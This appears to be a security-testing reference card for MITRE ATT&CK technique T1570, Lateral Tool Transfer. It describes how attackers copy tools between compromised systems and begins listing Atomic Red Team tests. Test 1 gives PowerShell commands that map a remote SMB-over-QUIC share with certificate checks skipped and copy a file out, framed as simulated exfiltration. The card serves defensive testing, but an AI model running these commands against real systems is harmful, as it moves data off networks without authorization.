| name | T1570_lateral-tool-transfer |
| description | Adversaries may transfer tools or other files between systems in a compromised environment. |
| category | authorization |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1570","lateral-movement","esxi","linux","macos","windows"] |
| technique_id | T1570 |
| tactic | lateral-movement |
| all_tactics | ["lateral-movement"] |
| platforms | ["ESXi","Linux","macOS","Windows"] |
| mitre_url | https://attack.mitre.org/techniques/T1570 |
| tech_stack | ["esxi","linux","macos","windows"] |
| cwe_ids | ["CWE-284"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
T1570 Lateral Tool Transfer
High-Level Description
Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., Ingress Tool Transfer) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.
Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB/Windows Admin Shares to connected network shares or with authenticated connections via Remote Desktop Protocol.
Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and ftp. In some cases, adversaries may be able to leverage Web Services such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.
Kill Chain Phase
- Lateral Movement (TA0008)
Platforms: ESXi, Linux, macOS, Windows
What to Check
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: Exfiltration Over SMB over QUIC (New-SmbMapping)
Simulates an attacker exfiltrating data over SMB over QUIC using the New-SmbMapping command.
Prerequisites:
- A file server running Windows Server 2022 Datacenter: Azure Edition
- A Windows 11 computer
- Windows Admin Center
Supported Platforms: windows
Elevation Required: Yes
New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck
copy '#{local_file}' 'Z:\'
Atomic Test 2: Exfiltration Over SMB over QUIC (NET USE)